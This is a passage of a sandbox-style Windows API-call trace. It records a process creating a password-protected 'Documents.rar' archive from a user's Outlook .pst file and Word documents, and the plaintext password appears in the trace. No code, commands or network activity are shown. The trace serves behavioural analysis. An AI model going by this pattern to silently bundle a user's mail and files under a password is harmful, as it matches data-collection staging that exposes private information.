dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0083.873] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205cb60 | out: hHeap=0x1162e7c0000) returned 1 [0083.873] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x233986 [0083.873] CloseHandle (hObject=0x350) returned 1 [0083.873] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.873] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.874] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0083.874] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.874] FindFirstFileW (in: lpFileName="Outlook Files\\kkcie@kdj.kd.pst", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0083.874] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0083.874] CreateFileW (lpFileName="Outlook Files\\kkcie@kdj.kd.pst" (normalized: "c:\\users\\fd1hvy\\documents\\outlook files\\kkcie@kdj.kd.pst"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0083.874] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764fe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0083.874] GetTickCount () returned 0x2ac43 [0083.874] GetLastError () returned 0x0 [0083.874] SetLastError (dwErrCode=0x0) [0083.874] GetDlgItem (hDlg=0x102f8, nIDDlgItem=158) returned 0x10304 [0083.874] GetDlgItem (hDlg=0x102f8, nIDDlgItem=153) returned 0x10302 [0083.874] GetWindowTextW (in: hWnd=0x10302, lpString=0x141a0dbf90, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0083.874] SendMessageW (hWnd=0x10304, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0083.875] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0083.875] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0083.875] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0083.875] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0083.875] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="nt5k6gcCx.pdf") returned 13 [0083.875] SetWindowTextW (hWnd=0x10300, lpString="kkcie@kdj.kd.pst") returned 1 [0083.876] GetTickCount () returned 0x2ac43 [0083.876] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0083.876] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a7630) returned 1 [0083.876] CryptGenRandom (in: hProv=0x116320a7630, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0083.876] CryptReleaseContext (hProv=0x116320a7630, dwFlags=0x0) returned 1 [0083.876] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x1, wMilliseconds=0x16e)) [0083.876] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0083.876] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17520503562) returned 1 [0083.876] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x42400, lpOverlapped=0x0) returned 1 [0083.973] ReadFile (in: hFile=0x350, lpBuffer=0x11631bd0440, nNumberOfBytesToRead=0xbdc00, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631bd0440*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0083.973] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 1 [0083.973] GetMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0083.973] GetFocus () returned 0x1031c [0083.973] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd790) returned 1 [0083.973] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.973] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c1b0 [0083.973] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c1e0 [0083.973] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c1e0, Size=0x48) returned 0x1162e888900 [0083.973] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d8f0 [0083.973] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c300 [0083.973] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c300, Size=0x48) returned 0x1162e8893a0 [0083.973] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d8f0 | out: hHeap=0x1162e7c0000) returned 1 [0083.973] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888900 | out: hHeap=0x1162e7c0000) returned 1 [0083.973] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209cd80 [0083.973] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c7e0 [0083.973] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c7e0 | out: hHeap=0x1162e7c0000) returned 1 [0083.973] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209cd80 | out: hHeap=0x1162e7c0000) returned 1 [0083.973] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c1b0, Size=0x48) returned 0x1162e888ea0 [0083.973] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888ea0, Size=0x7a) returned 0x1163205cad0 [0083.974] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8893a0 | out: hHeap=0x1162e7c0000) returned 1 [0083.974] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205cad0 | out: hHeap=0x1162e7c0000) returned 1 [0083.975] GetTickCount () returned 0x2aca1 [0083.975] GetLastError () returned 0x0 [0083.975] SetLastError (dwErrCode=0x0) [0083.975] GetDlgItem (hDlg=0x102f8, nIDDlgItem=158) returned 0x10304 [0083.975] GetDlgItem (hDlg=0x102f8, nIDDlgItem=153) returned 0x10302 [0083.975] GetWindowTextW (in: hWnd=0x10302, lpString=0x141a0dbeb0, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0083.975] SetWindowTextW (hWnd=0x10302, lpString=" 100%") returned 1 [0083.975] SendMessageW (hWnd=0x10304, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x0 [0083.976] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17530420120) returned 1 [0083.976] GetTickCount () returned 0x2aca1 [0083.976] GetTickCount () returned 0x2aca1 [0083.976] GetTickCount () returned 0x2aca1 [0083.976] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x141a0dd2e8 | out: ppv=0x141a0dd2e8*=0x1163209ca50) returned 0x0 [0083.976] TaskbarList:ITaskbarList3:SetProgressState (This=0x1163209ca50, hwnd=0x102f8, tbpFlags=2) returned 0x0 [0083.976] TaskbarList:ITaskbarList3:SetProgressValue (This=0x1163209ca50, hwnd=0x102f8, ullCompleted=0x2cc5a2, ullTotal=0x31d668) returned 0x0 [0083.977] TaskbarList:IUnknown:Release (This=0x1163209ca50) returned 0x0 [0083.977] GetLastError () returned 0x36b7 [0083.977] SetLastError (dwErrCode=0x36b7) [0083.977] GetDlgItem (hDlg=0x102f8, nIDDlgItem=157) returned 0x1031a [0083.977] GetDlgItem (hDlg=0x102f8, nIDDlgItem=152) returned 0x10318 [0083.977] GetWindowTextW (in: hWnd=0x10318, lpString=0x141a0dbeb0, nMaxCount=2560 | out: lpString=" 76%") returned 5 [0083.977] SetWindowTextW (hWnd=0x10318, lpString=" 89%") returned 1 [0083.977] GetLastError () returned 0x0 [0083.977] SetLastError (dwErrCode=0x0) [0083.977] GetDlgItem (hDlg=0x102f8, nIDDlgItem=164) returned 0x10314 [0083.977] GetWindowTextW (in: hWnd=0x10314, lpString=0x141a0dbeb0, nMaxCount=2560 | out: lpString=" 84%") returned 5 [0083.977] SetWindowTextW (hWnd=0x10314, lpString=" 78%") returned 1 [0083.978] SendMessageW (hWnd=0x1031a, Msg=0x402, wParam=0x59, lParam=0x0) returned 0x4c [0083.978] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 1 [0083.978] GetMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0083.978] GetFocus () returned 0x1031c [0083.978] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd790) returned 1 [0083.979] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.981] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.981] ResetEvent (hEvent=0x344) returned 1 [0083.981] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.981] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0083.983] ResetEvent (hEvent=0x344) returned 1 [0083.983] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.983] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0083.986] ResetEvent (hEvent=0x344) returned 1 [0083.986] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.986] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0083.989] GetTickCount () returned 0x2acb1 [0083.989] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17531753452) returned 1 [0083.989] GetTickCount () returned 0x2acb1 [0083.989] GetTickCount () returned 0x2acb1 [0083.989] GetTickCount () returned 0x2acb1 [0083.989] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 1 [0083.989] GetMessageW (in: lpMsg=0x141a0dd760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd760) returned 1 [0083.989] GetFocus () returned 0x1031c [0083.989] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd760) returned 1 [0083.989] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 1 [0083.989] GetMessageW (in: lpMsg=0x141a0dd760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd760) returned 1 [0083.989] GetFocus () returned 0x1031c [0083.989] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd760) returned 1 [0083.990] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.991] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0083.991] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.991] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x233986 [0083.991] SetFilePointer (in: hFile=0x32c, lDistanceToMove=115, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x2339f9 [0083.991] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0083.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0083.991] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0083.991] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0083.991] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0083.991] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0x3840, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0x3840, lpOverlapped=0x0) returned 1 [0083.992] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0083.992] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.992] SetFilePointer (in: hFile=0x32c, lDistanceToMove=2308486, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x233986 [0083.992] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x233986 [0083.992] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c480 [0083.992] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c7e0 [0083.992] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c7e0, Size=0x48) returned 0x1162e889530 [0083.992] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d9b0 [0083.992] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c330 [0083.992] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c330, Size=0x48) returned 0x1162e888ea0 [0083.992] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d9b0 | out: hHeap=0x1162e7c0000) returned 1 [0083.992] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e889530 | out: hHeap=0x1162e7c0000) returned 1 [0083.992] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209ccc0 [0083.992] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209cd50 [0083.992] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209cd50 | out: hHeap=0x1162e7c0000) returned 1 [0083.992] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209ccc0 | out: hHeap=0x1162e7c0000) returned 1 [0083.992] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c480, Size=0x48) returned 0x1162e8893a0 [0083.992] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e8893a0, Size=0x7a) returned 0x1163205dfa0 [0083.992] WriteFile (in: hFile=0x32c, lpBuffer=0x1163205dfa3*, nNumberOfBytesToWrite=0x73, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1163205dfa3*, lpNumberOfBytesWritten=0x141a0d82c0*=0x73, lpOverlapped=0x0) returned 1 [0083.992] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c3c0 [0083.992] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x73) returned 0x1163204fbf0 [0083.992] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0083.992] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205dfa0 | out: hHeap=0x1162e7c0000) returned 1 [0083.992] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x237239 [0083.992] CloseHandle (hObject=0x350) returned 1 [0083.992] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.992] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.993] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0083.993] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.993] FindFirstFileW (in: lpFileName="qBs_.docx", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d640 [0083.993] FindClose (in: hFindFile=0x1163204d640 | out: hFindFile=0x1163204d640) returned 1 [0083.993] CreateFileW (lpFileName="qBs_.docx" (normalized: "c:\\users\\fd1hvy\\documents\\qbs_.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0083.993] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0083.993] GetTickCount () returned 0x2acb1 [0083.993] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0083.993] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0083.993] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0083.993] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0083.993] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="kkcie@kdj.kd.pst") returned 16 [0083.993] SetWindowTextW (hWnd=0x10300, lpString="qBs_.docx") returned 1 [0083.994] GetTickCount () returned 0x2acb1 [0083.994] UpdateWindow (hWnd=0x102f8) returned 1 [0083.994] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0083.994] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a7630) returned 1 [0083.994] CryptGenRandom (in: hProv=0x116320a7630, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0083.994] CryptReleaseContext (hProv=0x116320a7630, dwFlags=0x0) returned 1 [0083.994] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x1, wMilliseconds=0x1db)) [0083.994] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0083.994] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17532276274) returned 1 [0083.994] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0xeb8b, lpOverlapped=0x0) returned 1 [0083.997] ReadFile (in: hFile=0x350, lpBuffer=0x11631b9cbcb, nNumberOfBytesToRead=0xf1475, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b9cbcb*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0083.997] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.997] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.997] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209cae0 [0083.997] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c210 [0083.997] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c210, Size=0x48) returned 0x1162e888ea0 [0083.997] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86db30 [0083.997] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c300 [0083.997] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c300, Size=0x48) returned 0x1162e889120 [0083.997] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86db30 | out: hHeap=0x1162e7c0000) returned 1 [0083.997] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0083.997] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c360 [0083.997] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c720 [0083.997] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c720 | out: hHeap=0x1162e7c0000) returned 1 [0083.997] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c360 | out: hHeap=0x1162e7c0000) returned 1 [0083.997] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209cae0, Size=0x48) returned 0x1162e888ea0 [0083.997] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888ea0, Size=0x7a) returned 0x1163205e270 [0083.997] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e889120 | out: hHeap=0x1162e7c0000) returned 1 [0083.997] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205e270 | out: hHeap=0x1162e7c0000) returned 1 [0083.999] GetTickCount () returned 0x2acc0 [0083.999] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17532728270) returned 1 [0083.999] GetTickCount () returned 0x2acc0 [0083.999] GetTickCount () returned 0x2acc0 [0083.999] GetTickCount () returned 0x2acc0 [0083.999] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.999] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.999] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.000] ResetEvent (hEvent=0x344) returned 1 [0084.000] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0084.000] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0084.002] ResetEvent (hEvent=0x344) returned 1 [0084.002] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0084.002] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0084.004] GetTickCount () returned 0x2acc0 [0084.004] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17533251013) returned 1 [0084.004] GetTickCount () returned 0x2acc0 [0084.004] GetTickCount () returned 0x2acc0 [0084.004] GetTickCount () returned 0x2acc0 [0084.004] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0084.004] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0084.004] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.004] ResetEvent (hEvent=0x33c) returned 1 [0084.004] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0084.004] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0084.005] ResetEvent (hEvent=0x33c) returned 1 [0084.005] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0084.005] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0084.006] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0084.006] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.006] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x237239 [0084.006] SetFilePointer (in: hFile=0x32c, lDistanceToMove=93, 